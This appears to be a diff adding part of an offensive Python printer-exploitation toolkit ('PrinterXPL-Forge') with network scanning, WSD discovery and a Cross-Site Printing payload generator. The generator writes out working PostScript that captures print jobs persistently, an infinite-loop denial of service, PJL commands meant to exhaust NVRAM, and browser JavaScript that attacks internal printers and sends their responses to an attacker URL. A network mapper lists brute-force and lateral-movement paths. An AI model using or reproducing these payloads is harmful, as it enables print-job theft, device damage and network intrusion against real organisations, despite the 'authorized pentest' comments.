|
|
554
|
+
|
|
555
|
+
try:
|
|
556
|
+
network = ipaddress.ip_network(subnet, strict=False)
|
|
557
|
+
except ValueError:
|
|
558
|
+
_log.error("Invalid subnet: %s", subnet)
|
|
559
|
+
return []
|
|
560
|
+
|
|
561
|
+
hosts_found = []
|
|
562
|
+
all_ips = [str(ip) for ip in network.hosts() if str(ip) != printer_ip]
|
|
563
|
+
|
|
564
|
+
if verbose:
|
|
565
|
+
print(f" [MAP] Scanning {len(all_ips)} hosts in {subnet} "
|
|
566
|
+
f"({len(ports)} ports, {workers} threads, {timeout}s timeout) ...")
|
|
567
|
+
|
|
568
|
+
with ThreadPoolExecutor(max_workers=workers) as ex:
|
|
569
|
+
futures = {ex.submit(scan_host, ip, ports, timeout): ip for ip in all_ips}
|
|
570
|
+
for f in as_completed(futures):
|
|
571
|
+
host = f.result()
|
|
572
|
+
if host:
|
|
573
|
+
hosts_found.append(host)
|
|
574
|
+
if verbose:
|
|
575
|
+
print(f" [MAP] \033[1;32m{host.ip:18}\033[0m "
|
|
576
|
+
f"[{host.device_type:<12}] "
|
|
577
|
+
f"ports={host.open_ports} "
|
|
578
|
+
f"{host.hostname[:30]}")
|
|
579
|
+
|
|
580
|
+
return sorted(hosts_found, key=lambda h: ipaddress.ip_address(h.ip))
|
|
581
|
+
|
|
582
|
+
|
|
583
|
+
# ── E. WSD neighbor discovery ─────────────────────────────────────────────────
|
|
584
|
+
|
|
585
|
+
def wsd_discover(host: str, timeout: float = 5) -> List[Dict]:
|
|
586
|
+
"""
|
|
587
|
+
Send WSD Probe (UDP multicast or unicast) to discover WSD-enabled devices.
|
|
588
|
+
|
|
589
|
+
WSD (Web Services for Devices) uses UDP multicast on 239.255.255.250:3702.
|
|
590
|
+
Returns list of device dicts found.
|
|
591
|
+
"""
|
|
592
|
+
import uuid as _uuid
|
|
593
|
+
|
|
594
|
+
devices = []
|
|
595
|
+
probe = f"""<?xml version="1.0" encoding="UTF-8"?>
|
|
596
|
+
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"
|
|
597
|
+
xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
|
|
598
|
+
xmlns:d="http://docs.oasis-open.org/ws-dd/ns/discovery/2009/01">
|
|
599
|
+
<s:Header>
|
|
600
|
+
<a:Action>http://docs.oasis-open.org/ws-dd/ns/discovery/2009/01/Probe</a:Action>
|
|
601
|
+
<a:MessageID>urn:uuid:{_uuid.uuid4()}</a:MessageID>
|
|
602
|
+
<a:To>urn:docs-oasis-open-org:ws-dd:ns:discovery:2009:01</a:To>
|
|
603
|
+
</s:Header>
|
|
604
|
+
<s:Body>
|
|
605
|
+
<d:Probe>
|
|
606
|
+
<d:Types>wsdp:Device</d:Types>
|
|
607
|
+
</d:Probe>
|
|
608
|
+
</s:Body>
|
|
609
|
+
</s:Envelope>"""
|
|
610
|
+
|
|
611
|
+
# Unicast WSD probe to discovered hosts
|
|
612
|
+
parts = host.rsplit('.', 1)
|
|
613
|
+
subnet_base = parts[0] if len(parts) == 2 else host
|
|
614
|
+
|
|
615
|
+
for i in range(1, 20):
|
|
616
|
+
ip = f"{subnet_base}.{i}"
|
|
617
|
+
try:
|
|
618
|
+
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
619
|
+
sock.settimeout(timeout / 10)
|
|
620
|
+
sock.sendto(probe.encode(), (ip, 3702))
|
|
621
|
+
try:
|
|
622
|
+
data, addr = sock.recvfrom(4096)
|
|
623
|
+
text = data.decode('utf-8', errors='replace')
|
|
624
|
+
device = {'ip': addr[0]}
|
|
625
|
+
for tag in ['wsdp:Name', 'd:Types', 'wsdp:Manufacturer']:
|
|
626
|
+
m = re.search(f'<{tag}>(.*?)</{tag}>', text, re.S)
|
|
627
|
+
if m:
|
|
628
|
+
device[tag] = m.group(1).strip()[:60]
|
|
629
|
+
devices.append(device)
|
|
630
|
+
except (socket.timeout, OSError):
|
|
631
|
+
pass
|
|
632
|
+
sock.close()
|
|
633
|
+
except Exception:
|
|
634
|
+
pass
|
|
635
|
+
|
|
636
|
+
return devices
|
|
637
|
+
|
|
638
|
+
|
|
639
|
+
# ── F. Cross-Site Printing (XSP) payload generator ────────────────────────────
|
|
640
|
+
|
|
641
|
+
def generate_xsp_payload(
|
|
642
|
+
printer_ip: str,
|
|
643
|
+
printer_port: int = 0,
|
|
644
|
+
attack_type: str = 'info',
|
|
645
|
+
callback_url: str = '',
|
|
646
|
+
exfil_url: str = '',
|
|
647
|
+
) -> Dict[str, str]:
|
|
648
|
+
"""
|
|
649
|
+
Generate Cross-Site Printing (XSP) + CORS spoofing payloads.
|
|
650
|
+
|
|
651
|
+
These JavaScript snippets can be embedded in a malicious web page.
|
|
652
|
+
When a victim visits the page, their browser sends PostScript/PJL
|
|
653
|
+
to internal printer port 9100 via XMLHttpRequest.
|
|
654
|
+
|
|
655
|
+
Attack types:
|
|
656
|
+
'info' — retrieve printer model via CORS spoofing
|
|
657
|
+
'capture' — inject print job capture PostScript
|
|
658
|
+
'dos' — inject infinite loop DoS
|
|
659
|
+
'exfil' — retrieve captured jobs and send to attacker URL
|
|
660
|
+
|
|
661
|
+
Args:
|
|
662
|
+
printer_ip: Target printer IP (discovered via WebRTC or subnet scan).
|
|
663
|
+
callback_url: Attacker URL to receive exfiltrated data.
|
|
664
|
+
exfil_url: URL to send captured job data to.
|
|
665
|
+
|
|
666
|
+
Returns:
|
|
667
|
+
dict with 'html', 'javascript', 'postscript', 'pjl' payloads.
|
|
668
|
+
"""
|
|
669
|
+
from utils.ports import PortConfig as _PC
|
|
670
|
+
if not printer_port:
|
|
671
|
+
printer_port = _PC.resolve('raw')
|
|
672
|
+
UEL = r'\x1b%-12345X'
|
|
673
|
+
|
|
674
|
+
# PostScript for CORS spoofing — printer acts as HTTP server
|
|
675
|
+
cors_ps = (
|
|
676
|
+
f"{UEL}\r\n"
|
|
677
|
+
f"%!\r\n"
|
|
678
|
+
f"(HTTP/1.0 200 OK\\n) print\r\n"
|
|
679
|
+
f"(Server: PostScript-HTTPD\\n) print\r\n"
|
|
680
|
+
f"(Access-Control-Allow-Origin: *\\n) print\r\n"
|
|
681
|
+
f"(Connection: close\\n) print\r\n"
|
|
682
|
+
f"(Content-Type: text/plain\\n) print\r\n"
|
|
683
|
+
f"(Content-Length: ) print\r\n"
|
|
684
|
+
f"product dup length string cvs print\r\n"
|
|
685
|
+
f"(\\n\\n) print\r\n"
|
|
686
|
+
f"product print\r\n"
|
|
687
|
+
f"(\\nFirmware: ) print\r\n"
|
|
688
|
+
f"version print\r\n"
|
|
689
|
+
f"(\\nRevision: ) print\r\n"
|
|
690
|
+
f"revision 16 string cvs print\r\n"
|
|
691
|
+
f"(\\n) print flush\r\n"
|
|
692
|
+
f"{UEL}\r\n"
|
|
693
|
+
)
|
|
694
|
+
|
|
695
|
+
# PostScript capture malware
|
|
696
|
+
capture_ps = (
|
|
697
|
+
f"{UEL}\r\n"
|
|
698
|
+
f"%!\r\n"
|
|
699
|
+
f"serverdict begin 0 exitserver\r\n"
|
|
700
|
+
f"/permanent {{/currentfile {{serverdict begin 0 exitserver}} def}} def\r\n"
|
|
701
|
+
f"permanent /filter {{\r\n"
|
|
702
|
+
f" /rndname (job_) rand 16 string cvs strcat (.ps) strcat def\r\n"
|
|
703
|
+
f" false echo\r\n"
|
|
704
|
+
f" /newjob true def\r\n"
|
|
705
|
+
f" currentdict /currentfile undef\r\n"
|
|
706
|
+
f" /max 40000 def\r\n"
|
|
707
|
+
f" /slots max array def\r\n"
|
|
708
|
+
f" /counter 2 dict def\r\n"
|
|
709
|
+
f" counter (slot) 0 put\r\n"
|
|
710
|
+
f" counter (line) 0 put\r\n"
|
|
711
|
+
f" (capturedict) where {{pop}}\r\n"
|
|
712
|
+
f" {{/capturedict max dict def}} ifelse\r\n"
|
|
713
|
+
f" capturedict rndname slots put\r\n"
|
|
714
|
+
f" /capture {{\r\n"
|
|
715
|
+
f" linenum 0 eq {{\r\n"
|
|
716
|
+
f" /lines max array def\r\n"
|
|
717
|
+
f" slots slotnum lines put\r\n"
|
|
718
|
+
f" }} if\r\n"
|
|
719
|
+
f" dup lines exch linenum exch put\r\n"
|
|
720
|
+
f" counter (line) linenum 1 add put\r\n"
|
|
721
|
+
f" }} def\r\n"
|
|
722
|
+
f" {{ newjob {{(%!\\ncurrentfile /ASCII85Decode filter ) capture\r\n"
|
|
723
|
+
f" pop /newjob false def}} if\r\n"
|
|
724
|
+
f" (%lineedit) (r) file\r\n"
|
|
725
|
+
f" dup bytesavailable string readstring pop capture pop\r\n"
|
|
726
|
+
f" }} loop\r\n"
|
|
727
|
+
f"}} def\r\n"
|
|
728
|
+
f"{UEL}\r\n"
|
|
729
|
+
)
|
|
730
|
+
|
|
731
|
+
# DoS — infinite loop
|
|
732
|
+
dos_ps = (
|
|
733
|
+
f"{UEL}\r\n"
|
|
734
|
+
f"%!\r\n"
|
|
735
|
+
f"serverdict begin 0 exitserver\r\n"
|
|
736
|
+
f"{{}} loop\r\n"
|
|
737
|
+
f"{UEL}\r\n"
|
|
738
|
+
)
|
|
739
|
+
|
|
740
|
+
# PJL physical damage (NVRAM exhaustion)
|
|
741
|
+
nvram_damage_pjl = (
|
|
742
|
+
f"{UEL}\r\n"
|
|
743
|
+
f"@PJL\r\n"
|
|
744
|
+
+ ''.join(f"@PJL DEFAULT COPIES={i}\r\n" for i in range(1, 1000))
|
|
745
|
+
+ f"{UEL}\r\n"
|
|
746
|
+
)
|
|
747
|
+
|
|
748
|
+
payload_map = {
|
|
749
|
+
'info': cors_ps,
|
|
750
|
+
'capture': capture_ps,
|
|
751
|
+
'dos': dos_ps,
|
|
752
|
+
'nvram': nvram_damage_pjl,
|
|
753
|
+
}
|
|
754
|
+
chosen_ps = payload_map.get(attack_type, cors_ps)
|
|
755
|
+
|
|
756
|
+
# JavaScript XSP payload
|
|
757
|
+
js_payload = f"""
|
|
758
|
+
// PrinterXPL-Forge XSP + CORS Spoofing Payload
|
|
759
|
+
// Target: {printer_ip}:{printer_port}
|
|
760
|
+
// Attack: {attack_type}
|
|
761
|
+
// WARNING: For authorized penetration testing only.
|
|
762
|
+
|
|
763
|
+
var printerIP = "{printer_ip}";
|
|
764
|
+
var printerPort = {printer_port};
|
|
765
|
+
|
|
766
|
+
// Encode the PostScript job
|
|
767
|
+
var job = {repr(chosen_ps)};
|
|
768
|
+
|
|
769
|
+
function xspSend(ip, port, data, callback) {{
|
|
770
|
+
var xhr = new XMLHttpRequest();
|
|
771
|
+
xhr.open("POST", "http://" + ip + ":" + port, true);
|
|
772
|
+
xhr.setRequestHeader("Content-Type", "application/octet-stream");
|
|
773
|
+
xhr.onreadystatechange = function() {{
|
|
774
|
+
if (xhr.readyState === 4 && callback) callback(xhr.responseText);
|
|
775
|
+
}};
|
|
776
|
+
try {{ xhr.send(data); }} catch(e) {{ console.log("XSP:", e); }}
|
|
777
|
+
}}
|
|
778
|
+
|
|
779
|
+
// Send the payload
|
|
780
|
+
xspSend(printerIP, printerPort, job, function(response) {{
|
|
781
|
+
console.log("Printer response:", response);
|
|
782
|
+
{"// Exfiltrate response to attacker" if exfil_url else ""}
|
|
783
|
+
{"var img = new Image(); img.src = '" + exfil_url + "?d=' + encodeURIComponent(response);" if exfil_url else ""}
|
|
784
|
+
}});
|
|
785
|
+
|
|
786
|
+
// WebRTC-based printer discovery (scan subnet)
|
|
787
|
+
function discoverPrinters(subnet, callback) {{
|
|
788
|
+
var found = [];
|
|
789
|
+
var pending = 0;
|
|
790
|
+
for (var i = 1; i <= 254; i++) {{
|
|
791
|
+
(function(i) {{
|
|
792
|
+
var ip = subnet + "." + i;
|
|
793
|
+
pending++;
|
|
794
|
+
var xhr = new XMLHttpRequest();
|
|
795
|
+
xhr.open("POST", "http://" + ip + ":{printer_port}", true);
|
|
796
|
+
xhr.timeout = 1500;
|
|
797
|
+
xhr.onreadystatechange = function() {{
|
|
798
|
+
if (xhr.readyState === 4) {{
|
|
799
|
+
if (xhr.status === 200 || xhr.responseText.length > 0) {{
|
|
800
|
+
found.push(ip);
|
|
801
|
+
}}
|
|
802
|
+
if (--pending === 0 && callback) callback(found);
|
|
803
|
+
}}
|
|
804
|
+
}};
|
|
805
|
+
xhr.ontimeout = function() {{ if (--pending === 0 && callback) callback(found); }};
|
|
806
|
+
xhr.send("@PJL INFO ID\\r\\n");
|
|
807
|
+
}})(i);
|
|
808
|
+
}}
|
|
809
|
+
}}
|
|
810
|
+
"""
|
|
811
|
+
|
|
812
|
+
# HTML wrapper
|
|
813
|
+
html_payload = f"""<!DOCTYPE html>
|
|
814
|
+
<html>
|
|
815
|
+
<head><title>XSP Demo</title></head>
|
|
816
|
+
<body>
|
|
817
|
+
<script>
|
|
818
|
+
{js_payload}
|
|
819
|
+
</script>
|
|
820
|
+
<p>Cross-Site Printing test page (authorized pentest only)</p>
|
|
821
|
+
</body>
|
|
822
|
+
</html>"""
|
|
823
|
+
|
|
824
|
+
return {
|
|
825
|
+
'html': html_payload,
|
|
826
|
+
'javascript': js_payload,
|
|
827
|
+
'postscript': chosen_ps,
|
|
828
|
+
'pjl': nvram_damage_pjl,
|
|
829
|
+
}
|
|
830
|
+
|
|
831
|
+
|
|
832
|
+
# ── G. Full network map ────────────────────────────────────────────────────────
|
|
833
|
+
|
|
834
|
+
def build_network_map(
|
|
835
|
+
printer_host: str,
|
|
836
|
+
subnet: str = None,
|
|
837
|
+
timeout: float = 5,
|
|
838
|
+
scan_ports: List[int] = None,
|
|
839
|
+
workers: int = 60,
|
|
840
|
+
verbose: bool = True,
|
|
841
|
+
) -> NetworkMap:
|
|
842
|
+
"""
|
|
843
|
+
Build a complete network map using the printer as the reference point.
|
|
844
|
+
|
|
845
|
+
Combines SNMP, PJL, web scraping, and direct TCP scanning to map
|
|
846
|
+
everything reachable from the printer's network segment.
|
|
847
|
+
|
|
848
|
+
Returns a NetworkMap with all discovered hosts and attack paths.
|
|
849
|
+
"""
|
|
850
|
+
nm = NetworkMap(printer_ip=printer_host)
|
|
851
|
+
|
|
852
|
+
if verbose:
|
|
853
|
+
print(f"\n [NETMAP] Building network map from printer {printer_host}")
|
|
854
|
+
|
|
855
|
+
# 1. SNMP network info
|
|
856
|
+
if verbose:
|
|
857
|
+
print(" [NETMAP] 1/5 SNMP network info ...")
|
|
858
|
+
snmp_info = snmp_network_info(printer_host, timeout)
|
|
859
|
+
nm.gateway = snmp_info.get('gateway', '')
|
|
860
|
+
nm.netmask = snmp_info.get('netmask', '')
|
|
861
|
+
nm.dns_servers = snmp_info.get('dns_servers', [])
|
|
862
|
+
if verbose and nm.gateway:
|
|
863
|
+
print(f" [NETMAP] Gateway: {nm.gateway}")
|
|
864
|
+
print(f" [NETMAP] Netmask: {nm.netmask}")
|
|
865
|
+
print(f" [NETMAP] DNS: {nm.dns_servers}")
|
|
866
|
+
|
|
867
|
+
# 2. PJL network variables
|
|
868
|
+
if verbose:
|
|
869
|
+
print(" [NETMAP] 2/5 PJL network variables ...")
|
|
870
|
+
pjl_info = pjl_network_info(printer_host, timeout)
|
|
871
|
+
if pjl_info.get('default_gateway') and not nm.gateway:
|
|
872
|
+
nm.gateway = pjl_info['default_gateway']
|
|
873
|
+
if verbose and pjl_info:
|
|
874
|
+
for k, v in list(pjl_info.items())[:5]:
|
|
875
|
+
print(f" [NETMAP] PJL {k}: {v}")
|
|
876
|
+
|
|
877
|
+
# 3. Web network config
|
|
878
|
+
if verbose:
|
|
879
|
+
print(" [NETMAP] 3/5 Web interface scraping ...")
|
|
880
|
+
web_info = web_network_info(printer_host, timeout)
|
|
881
|
+
if web_info.get('gateway_hint') and not nm.gateway:
|
|
882
|
+
nm.gateway = web_info['gateway_hint']
|
|
883
|
+
# Add all IPs found in web pages as potential hosts
|
|
884
|
+
for ip in web_info.get('ips_found', []):
|
|
885
|
+
if ip != printer_host:
|
|
886
|
+
nm.attack_paths.append(f"IP from web page: {ip}")
|
|
887
|
+
|
|
888
|
+
# 4. Derive subnet and scan
|
|
889
|
+
if subnet is None:
|
|
890
|
+
if nm.gateway:
|
|
891
|
+
subnet = nm.gateway.rsplit('.', 1)[0] + '.0/24'
|
|
892
|
+
elif nm.netmask:
|
|
893
|
+
try:
|
|
894
|
+
net = ipaddress.ip_network(
|
|
895
|
+
f"{printer_host}/{nm.netmask}", strict=False
|
|
896
|
+
)
|
|
897
|
+
subnet = str(net)
|
|
898
|
+
except Exception:
|
|
899
|
+
subnet = printer_host.rsplit('.', 1)[0] + '.0/24'
|
|
900
|
+
else:
|
|
901
|
+
subnet = printer_host.rsplit('.', 1)[0] + '.0/24'
|
|
902
|
+
nm.subnets = [subnet]
|
|
903
|
+
|
|
904
|
+
if verbose:
|
|
905
|
+
print(f" [NETMAP] 4/5 Scanning {subnet} ...")
|
|
906
|
+
hosts = discover_network(printer_host, subnet, scan_ports, 0.8,
|
|
907
|
+
workers, verbose)
|
|
908
|
+
nm.hosts = hosts
|
|
909
|
+
|
|
910
|
+
# Identify other printers
|
|
911
|
+
nm.other_printers = [h.ip for h in hosts if h.device_type == 'printer']
|
|
912
|
+
|
|
913
|
+
# 5. Build attack paths
|
|
914
|
+
if verbose:
|
|
915
|
+
print(" [NETMAP] 5/5 Mapping attack paths ...")
|
|
916
|
+
_build_attack_paths(nm)
|
|
917
|
+
|
|
918
|
+
if verbose:
|
|
919
|
+
print(f"\n [NETMAP] Done: {len(hosts)} hosts, "
|
|
920
|
+
f"{len(nm.other_printers)} other printers, "
|
|
921
|
+
f"{len(nm.attack_paths)} attack paths")
|
|
922
|
+
|
|
923
|
+
return nm
|
|
924
|
+
|
|
925
|
+
|
|
926
|
+
def _build_attack_paths(nm: NetworkMap) -> None:
|
|
927
|
+
"""Populate nm.attack_paths based on discovered hosts and services."""
|
|
928
|
+
for host in nm.hosts:
|
|
929
|
+
ports = set(host.open_ports)
|
|
930
|
+
ip = host.ip
|
|
931
|
+
|
|
932
|
+
# RDP — direct access to Windows systems
|
|
933
|
+
if 3389 in ports:
|
|
934
|
+
nm.attack_paths.append(
|
|
935
|
+
f"RDP brute-force: {ip}:3389 [{host.device_type}] "
|
|
936
|
+
f"→ lateral movement to Windows host"
|
|
937
|
+
)
|
|
938
|
+
# SMB — file shares, pass-the-hash
|
|
939
|
+
if 445 in ports:
|
|
940
|
+
nm.attack_paths.append(
|
|
941
|
+
f"SMB attack: {ip}:445 [{host.device_type}] "
|
|
942
|
+
f"→ file access, pass-the-hash, lateral movement"
|
|
943
|
+
)
|
|
944
|
+
# Other printers — chain attack
|
|
945
|
+
if host.device_type == 'printer':
|
|
946
|
+
nm.attack_paths.append(
|
|
947
|
+
f"Chain attack: {ip} [printer] "
|
|
948
|
+
f"→ exploit via PJL/PS to reach its network segment"
|
|
949
|
+
)
|
|
950
|
+
# Databases
|
|
951
|
+
if ports & {3306, 5432, 1433, 27017}:
|
|
952
|
+
db_ports = [str(p) for p in sorted(ports & {3306, 5432, 1433, 27017})]
|
|
953
|
+
nm.attack_paths.append(
|
|
954
|
+
f"Database: {ip}:{','.join(db_ports)} "
|
|
955
|
+
f"→ credential brute-force or unauthenticated access"
|
|
956
|
+
)
|
|
957
|
+
# Web management interfaces
|
|
958
|
+
if ports & {80, 443, 8080, 8443} and host.device_type in ('router/switch', 'unknown'):
|
|
959
|
+
nm.attack_paths.append(
|
|
960
|
+
f"Web management: {ip} "
|
|
961
|
+
f"→ default credentials, CVE exploitation"
|
|
962
|
+
)
|
|
963
|
+
# SSH
|
|
964
|
+
if 22 in ports:
|
|
965
|
+
nm.attack_paths.append(
|
|
966
|
+
f"SSH: {ip}:22 → brute-force or key re-use"
|
|
967
|
+
)
|
|
968
|
+
# NAS
|
|
969
|
+
if host.device_type == 'nas/fileserver':
|
|
970
|
+
nm.attack_paths.append(
|
|
971
|
+
f"NAS: {ip} → access shares, extract data via SMB/NFS/AFP"
|
|
972
|
+
)
|
|
973
|
+
|
|
974
|
+
|
|
975
|
+
def print_network_map(nm: NetworkMap) -> None:
|
|
976
|
+
"""Pretty-print a NetworkMap to stdout."""
|
|
977
|
+
print(f"\n{'='*70}")
|
|
978
|
+
print(f" NETWORK MAP — from printer {nm.printer_ip}")
|
|
979
|
+
print(f"{'='*70}")
|
|
980
|
+
print(f" Gateway : {nm.gateway or '?'}")
|
|
981
|
+
print(f" Netmask : {nm.netmask or '?'}")
|
|
982
|
+
print(f" DNS servers: {', '.join(nm.dns_servers) or '?'}")
|
|
983
|
+
print(f" Subnet(s) : {', '.join(nm.subnets)}")
|
|
984
|
+
|
|
985
|
+
if nm.hosts:
|
|
986
|
+
print(f"\n DISCOVERED HOSTS ({len(nm.hosts)})")
|
|
987
|
+
print(f" {'IP':<18} {'TYPE':<15} {'OPEN PORTS'}")
|
|
988
|
+
print(f" {'-'*65}")
|
|
989
|
+
for h in nm.hosts:
|
|
990
|
+
ports_str = ', '.join(f"{p}({nm.hosts[0].services.get(p,'?')})"
|
|
991
|
+
for p in h.open_ports[:6])
|
|
992
|
+
print(f" \033[1;32m{h.ip:<18}\033[0m {h.device_type:<15} {ports_str}")
|
|
993
|
+
if h.hostname:
|
|
994
|
+
print(f" {'':18} hostname: {h.hostname}")
|
|
995
|
+
|
|
996
|
+
if nm.other_printers:
|
|
997
|
+
print(f"\n OTHER PRINTERS FOUND: {', '.join(nm.other_printers)}")
|
|
998
|
+
|
|
999
|
+
if nm.attack_paths:
|
|
1000
|
+
print(f"\n ATTACK PATHS ({len(nm.attack_paths)})")
|
|
1001
|
+
print(f" {'-'*65}")
|
|
1002
|
+
for path in nm.attack_paths[:20]:
|
|
1003
|
+
print(f" \033[1;33m[→]\033[0m {path}")
|
|
1004
|
+
print()
|